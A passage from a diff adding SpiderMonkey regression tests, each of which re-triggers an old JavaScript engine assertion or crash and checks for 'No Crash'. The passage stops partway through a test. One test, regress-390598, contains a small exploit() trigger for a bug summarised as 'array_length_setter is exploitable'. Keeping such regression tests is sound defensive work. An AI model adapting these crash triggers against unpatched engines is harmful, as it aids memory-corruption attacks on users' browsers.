+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367589;
+var summary = 'Do not assert !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ document.write('<button id="button" onclick="document.getElementsByTagName(\'button\')[0] = \'wtf\';">Crash</button>');
+ window.addEventListener('load', crash, false);
+}
+
+function crash()
+{
+ document.getElementById('button').click();
+ setTimeout(checkCrash, 0);
+}
+
+function checkCrash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/extensions/regress-368213.js b/js/src/tests/non262/extensions/regress-368213.js
new file mode 100644
index 0000000000..c1f9be735a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368213.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368213;
+var summary = 'Do not crash with group assignment and sharp variable defn';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function() { [] = [] });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-368224.js b/js/src/tests/non262/extensions/regress-368224.js
new file mode 100644
index 0000000000..c6b394e0ea
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368224.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368224;
+var summary = 'Do not assert: pnprop->pn_type == TOK_COLON';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ({ x: a } = {});
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-368516.js b/js/src/tests/non262/extensions/regress-368516.js
new file mode 100644
index 0000000000..667b5c1535
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368516.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368516;
+var summary = 'Treat unicode BOM characters as whitespace';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var bomchars = ['\uFEFF'];
+
+ for (var i = 0; i < bomchars.length; i++)
+ {
+ expect = 'howdie';
+ actual = '';
+
+ try
+ {
+ eval("var" + bomchars[i] + "hithere = 'howdie';");
+ actual = hithere;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-369404.js b/js/src/tests/non262/extensions/regress-369404.js
new file mode 100644
index 0000000000..d1e25f8c4f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369404.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369404;
+var summary = 'Do not assert: !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER) ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ document.write('<span id="r"> </span>' +
+ '<script>' +
+ 'f = function(){};' +
+ 'f.prototype = document.getElementById("r").childNodes;' +
+ 'j = new f();' +
+ 'j[0] = null;' +
+ '</script>');
+ window.addEventListener('load', crash, false);
+}
+
+function crash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-01.js b/js/src/tests/non262/extensions/regress-369696-01.js
new file mode 100644
index 0000000000..5b2f12cc98
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-01.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ q = [];
+ q.__defineGetter__("0", q.toString);
+ q[2] = q;
+ assertEq(q.toSource(), "[\"\", , []]", "wrong string");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-02.js b/js/src/tests/non262/extensions/regress-369696-02.js
new file mode 100644
index 0000000000..5cc18edf7c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-02.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+// Bug 762908 requires us to set sp=null;
+if (this.window) window.SpecialPowers = null;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function fun() {}
+ n = fun.prototype;
+ n.__defineGetter__("prototype", n.toSource);
+ p = n.__lookupGetter__("prototype");
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ n["prototype"] = [n];
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ p2 = n["prototype"];
+
+ assertEq(Array.isArray(p2), true);
+ assertEq(p2[0], Object.prototype.toSource);
+
+ n = p2;
+
+ assertEq(n.toString, Array.prototype.toString);
+ n.__defineGetter__("0", n.toString);
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+
+ n.call(this);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-03.js b/js/src/tests/non262/extensions/regress-369696-03.js
new file mode 100644
index 0000000000..3d02428b67
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-03.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = [[[ { toSource: function() { gc(); }}]]];
+
+ var a = [];
+ a[0] = a;
+ a.toSource = a.toString;
+ Array.prototype.toSource.call(a);
+
+//cx->sharpObjectMap.depth == -2
+
+ (function() {
+ var tmp = [];
+ for (var i = 0; i != 30*1000; ++i) {
+ var tmp2 = [];
+ tmp.push(tmp2);
+ tmp2.toSource();
+ }
+ })();
+
+ gc();
+ x.toSource();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-372309.js b/js/src/tests/non262/extensions/regress-372309.js
new file mode 100644
index 0000000000..950c0a5461
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-372309.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372309;
+var summary = 'Root new array objects';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var width = 600;
+ var height = 600;
+
+ var img1canvas = document.createElement("canvas");
+ var img2canvas = document.createElement("canvas");
+
+ img1canvas.width = img2canvas.width = width;
+ img1canvas.height = img2canvas.height = height;
+ img1canvas.getContext("2d").getImageData(0, 0, width, height).data;
+ img2canvas.getContext("2d").getImageData(0, 0, width, height).data;
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", test, false);
diff --git a/js/src/tests/non262/extensions/regress-375183.js b/js/src/tests/non262/extensions/regress-375183.js
new file mode 100644
index 0000000000..6c351c8c79
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-375183.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375183;
+var summary = '__noSuchMethod__ should not allocate beyond fp->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = { get __noSuchMethod__() {
+ print("Executed");
+ return new Object();
+ }};
+
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':1');
+
+ obj = { __noSuchMethod__: {} };
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':2');
+
+ obj = { }
+ obj.__noSuchMethod__ = {};
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':3');
+}
diff --git a/js/src/tests/non262/extensions/regress-375344.js b/js/src/tests/non262/extensions/regress-375344.js
new file mode 100644
index 0000000000..41d9eeb15a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-375344.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375344;
+var summary = 'accessing prototype of DOM objects should throw catchable error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof HTMLElement != 'undefined')
+{
+ expect = /TypeError/;
+ try
+ {
+ print(HTMLElement.prototype.nodeName);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ print(actual);
+ }
+ reportMatch(expect, actual, summary);
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-379566.js b/js/src/tests/non262/extensions/regress-379566.js
new file mode 100644
index 0000000000..17461a49e9
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-379566.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379566;
+var summary = 'Keywords after get|set';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({' +
+ 'get in() { return this.for; }, ' +
+ 'set in(value) { this.for = value; }' +
+ '})';
+ try
+ {
+ var obj = eval('({ ' +
+ 'get in() { return this.for; }, ' +
+ 'set in(value) { this.for = value; } ' +
+ '})');
+ actual = obj.toSource();
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-380889.js b/js/src/tests/non262/extensions/regress-380889.js
new file mode 100644
index 0000000000..fedd51f01f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-380889.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380889;
+var summary = 'Source disassembler assumes SRC_SWITCH has jump table';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i)
+ {
+ switch(i){
+ case 1:
+ case xyzzy:
+ }
+ }
+
+ if (typeof dis != 'undefined')
+ {
+ dis(f);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-381303.js b/js/src/tests/non262/extensions/regress-381303.js
new file mode 100644
index 0000000000..7d113ac293
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-381303.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381303;
+var summary = 'object toSource when a property has both a getter and a setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {set inn(value) {this.for = value;}, get inn() {return this.for;}};
+ expect = '({' +
+ 'get inn() {return this.for;}' +
+ ', ' +
+ 'set inn(value) {this.for = value;}' +
+ '})';
+ actual = obj.toSource();
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-381304.js b/js/src/tests/non262/extensions/regress-381304.js
new file mode 100644
index 0000000000..168da0866c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-381304.js
@@ -0,0 +1,69 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381304;
+var summary = 'getter/setter with keywords';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj;
+
+ print('1');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = '({get inn() {return this.for;}, set inn(value) {this.for = value;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 1');
+
+ print('2');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({get in() {return this.for;}, set in(value) {this.for = value;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 2');
+
+ print('3');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({set inn(value) {this.for = value;}, get in() {return this.for;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 4');
+
+ print('4');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = '({set in(value) {this.for = value;}, get inn() {return this.for;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 5');
+}
diff --git a/js/src/tests/non262/extensions/regress-385393-02.js b/js/src/tests/non262/extensions/regress-385393-02.js
new file mode 100644
index 0000000000..cb6d0c94cd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-385393-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (4).__lookupGetter__("w");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-385393-08.js b/js/src/tests/non262/extensions/regress-385393-08.js
new file mode 100644
index 0000000000..b00cafde9c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-385393-08.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ this.__proto__ = [];
+ [1,2,3,4].map.call();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-390598.js b/js/src/tests/non262/extensions/regress-390598.js
new file mode 100644
index 0000000000..d190615a18
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-390598.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'array_length_setter is exploitable';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var fun = function () {};
+ fun.__proto__ = [];
+ fun.length = 0x50505050 >> 1;
+ fun();
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-394967.js b/js/src/tests/non262/extensions/regress-394967.js
new file mode 100644
index 0000000000..a82f1f5424
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-394967.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394967;
+var summary = 'Do not assert: !vp[1].isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print('Skipping. This test requires evalcx.');
+ }
+ else
+ {
+ var sandbox = evalcx("");
+ try
+ {
+ evalcx("(1)()", sandbox);
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-396326-01.js b/js/src/tests/non262/extensions/regress-396326-01.js
new file mode 100644
index 0000000000..60913f4a42
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-396326-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f4() { let local; return local.prop };
+ dis(f4);
+ reportCompare(expect, actual, summary +
+ ': function f4() { let local; return local.prop };');
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-396326.js b/js/src/tests/non262/extensions/regress-396326.js
new file mode 100644
index 0000000000..45f3170bbb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-396326.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f1() { var v; return v.prop };
+ dis(f1);
+ reportCompare(expect, actual, summary +
+ ': function f1() { var v; return v.prop };');
+
+ function f2(arg) { return arg.prop };
+ dis(f2);
+ reportCompare(expect, actual, summary +
+ ': function f2(arg) { return arg.prop };');
+
+ function f3() { return this.prop };
+ dis(f3);
+ reportCompare(expect, actual, summary +
+ ': function f3() { return this.prop };');
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-406572.js b/js/src/tests/non262/extensions/regress-406572.js
new file mode 100644
index 0000000000..4911d05bc7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-406572.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406572;
+var summary = 'JSOP_CLOSURE unconditionally replaces properties of the variable object - Browser only';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window != 'undefined')
+{
+ try {
+ actual = "FAIL: Unexpected exception thrown";
+
+ var win = window;
+ var windowString = String(window);
+ window = 1;
+ reportCompare(windowString, String(window), "window should be readonly");
+
+ if (1)
+ function window() { return 1; }
+
+ // We should reach this line without throwing. Annex B means the
+ // block-scoped function above gets an assignment to 'window' in the
+ // nearest 'var' environment, but since 'window' is read-only, the
+ // assignment silently fails.
+ actual = "";
+
+ // The test harness might rely on window having its original value:
+ // restore it.
+ window = win;
+ } catch (e) {
+ }
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+}
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/extensions/regress-407501.js b/js/src/tests/non262/extensions/regress-407501.js
new file mode 100644
index 0000000000..267497464f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-407501.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407501;
+var summary = 'JSOP_NEWINIT lacks SAVE_SP_AND_PC ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ var a = [[[[[[[0]]]]]]];
+ if (a.toString() !== "0")
+ throw "Unexpected result";
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/extensions/regress-407720.js b/js/src/tests/non262/extensions/regress-407720.js
new file mode 100644
index 0000000000..f5b4cf0f83
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-407720.js
@@ -0,0 +1,44 @@
+// |reftest| skip slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407720;
+var summary = 'js_FindClassObject causes crashes with getter/setter - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// stop the test after 60 seconds
+var start = new Date();
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+document.write('<iframe onload="onLoad()"><\/iframe>');
+
+function onLoad()
+{
+
+ if ( (new Date() - start) < 60*1000)
+ {
+ var x = frames[0].Window.prototype;
+ x.a = x.b = x.c = 1;
+ x.__defineGetter__("HTML document.all class", function() {});
+ frames[0].document.all;
+
+ // retry
+ frames[0].location = "about:blank";
+ }
+ else
+ {
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-412926.js b/js/src/tests/non262/extensions/regress-412926.js
new file mode 100644
index 0000000000..ffb356a5f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-412926.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412926;
+var summary = 'JS_ValueToId(cx, JSVAL_NULL) should return atom for "null" string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = expect = 'No Errors';
+
+ var obj = { 'null': 1 };
+
+ var errors = [];
+
+ if (!obj.hasOwnProperty(null))
+ errors.push('null property is not owned');
+
+ if (!obj.propertyIsEnumerable(null))
